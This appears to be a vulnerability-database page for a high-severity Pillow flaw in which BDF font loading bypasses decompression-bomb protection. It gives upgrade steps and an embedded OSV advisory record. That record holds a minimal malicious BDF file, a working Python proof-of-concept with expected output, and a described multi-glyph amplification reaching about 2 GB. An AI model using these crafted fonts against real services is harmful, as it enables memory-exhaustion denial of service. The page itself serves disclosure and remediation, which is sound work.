CVE-2026-55379: Pillow `BdfFontFile` `Image.new()` Called Without `_decompression_bomb_check()` — Vulnerability
HIGHCVE-2026-55379 is a HIGH (CVSS 7.5) `image.new()` called without `_decompression_bomb_check()` — vulnerability (CWE-789: Memory Allocation with Excessive Size Value) affecting Pillow `BdfFontFile` libraries in the PyPI ecosystem. The issue involves `image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading. Remediation is available by upgrading affected packages to version 12.3.0.
CVE-2026-55379 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-55379
To remediate this vulnerability, upgrade all affected Pillow `BdfFontFile` dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install pillow>=12.3.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show pillow
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-55379, inspect your installed packages using pip:
pip show pillow
Analyze the terminal output to locate any version of Pillow `BdfFontFile` in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 12.3.0), your application is affected.
Note: The pip show pillow command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-789: Memory Allocation with Excessive Size Value, where the product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated. In Pillow `BdfFontFile`, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55379 Affected Pillow `BdfFontFile` Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
pillow
|
PyPI |
< 12.3.0
|
12.3.0
|
References
Frequently Asked Questions
What is CVE-2026-55379?
Which Pillow `BdfFontFile` versions are affected?
What version fixes CVE-2026-55379?
Is pillow affected?
What is the CVSS score of CVE-2026-55379?
What CWE is associated with CVE-2026-55379?
How can I check PyPI dependencies for CVE-2026-55379?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-45hq-cxwh-f6vc",
"modified" : "2026-07-20T21:13:18Z",
"published" : "2026-07-20T21:13:18Z",
"aliases" : [ "CVE-2026-55379" ],
"summary" : "Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading",
"details" : "### Summary\n`PIL/BdfFontFile.py` `bdf_char()` (lines 84–88) reads the `BBX width height` field from a BDF font file and passes the dimensions directly to `Image.new()` without calling `Image._decompression_bomb_check()`. This completely bypasses Pillow's documented decompression bomb protection.\n\n`Image.open()` enforces `MAX_IMAGE_PIXELS = 89,478,485` and raises `DecompressionBombError` for images exceeding `2 × MAX = 178,956,970` pixels. The BDF font loading path calls `Image.new()` directly, which only calls `_check_size()` (validates `>= 0`) — no pixel count limit.\n\n**Vulnerable code (`PIL/BdfFontFile.py` lines 84–88):**\n```python\n# width, height from attacker-controlled \"BBX width height x y\" line\ntry:\n im = Image.frombytes(\"1\", (width, height), bitmap, \"hex\", \"1\")\nexcept ValueError:\n # TRIGGERED when BITMAP section is empty (zero hex lines)\n im = Image.new(\"1\", (width, height)) # ← NO _decompression_bomb_check()!\n # ^ This image is stored in self.glyph[ch] — persists in memory\n```\n\n**Attack trigger:** A BDF glyph with `BBX 20000 20000` and an empty `BITMAP` section causes `Image.frombytes()` to raise `ValueError`, then `Image.new(\"1\", (20000, 20000))` allocates **50 MB** of C-heap silently. Image.open() would raise `DecompressionBombError` for the same dimensions.\n\n## Steps to reproduce\n\n**Minimal malicious BDF file (270 bytes):**\n```\nSTARTFONT 2.1\nSIZE 16 75 75\nFONTBOUNDINGBOX 16 16 0 -4\nSTARTPROPERTIES 1\nCOMMENT placeholder\nENDPROPERTIES\nCHARS 1\nSTARTCHAR A\nENCODING 65\nSWIDTH 500 0\nDWIDTH 8 0\nBBX 20000 20000 0 0\nBITMAP\nENDCHAR\nENDFONT\n```\n\n**Proof of Concept script:**\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation\"\"\"\nimport io, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.BdfFontFile import BdfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check\nbdf = f\"\"\"STARTFONT 2.1\nSIZE 16 75 75\nFONTBOUNDINGBOX 16 16 0 -4\nSTARTPROPERTIES 1\nCOMMENT x\nENDPROPERTIES\nCHARS 1\nSTARTCHAR A\nENCODING 65\nSWIDTH 500 0\nDWIDTH 8 0\nBBX {W} {H} 0 0\nBITMAP\nENDCHAR\nENDFONT\n\"\"\".encode()\n\nprint(f\"[*] BDF file size : {len(bdf)} bytes\")\nprint(f\"[*] Glyph size : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)\")\n\nBdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed!\n\nprint(f\"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated\")\nprint(f\" Image.open() path would have raised DecompressionBombError\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] BDF file size : 270 bytes\n[*] Glyph size : 20000 x 20000 = 400,000,000 pixels\n[*] C-heap target : 47 MB (mode '1' = 1 bit/pixel)\n[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated\n Image.open() path would have raised DecompressionBombError\n```\n\n**Amplified attack (multiple glyphs):** \nA BDF file defining 256 glyphs each at `BBX 8000 8000` causes `256 × 7.6 MB = ~1.95 GB` total C-heap allocation — all silently, bypassing documented bomb protection.\n\n### Impact\n- **Availability**: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs\n- **Confidentiality**: None \n- **Integrity**: None\n- Any service loading BDF fonts from untrusted sources (e.g., `ImageFont.load(\"user.bdf\")`, `BdfFontFile(fp)`) is affected\n- Loaded glyph images persist in `self.glyph[ch]` for the lifetime of the font object — memory is NOT freed until the font is garbage collected",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "pillow"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "12.3.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55379"
}, {
"type" : "WEB",
"url" : "https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"
}, {
"type" : "WEB",
"url" : "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/python-pillow/Pillow"
}, {
"type" : "WEB",
"url" : "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-789" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-20T21:13:18Z",
"nvd_published_at" : "2026-07-06T19:17:08Z"
}
}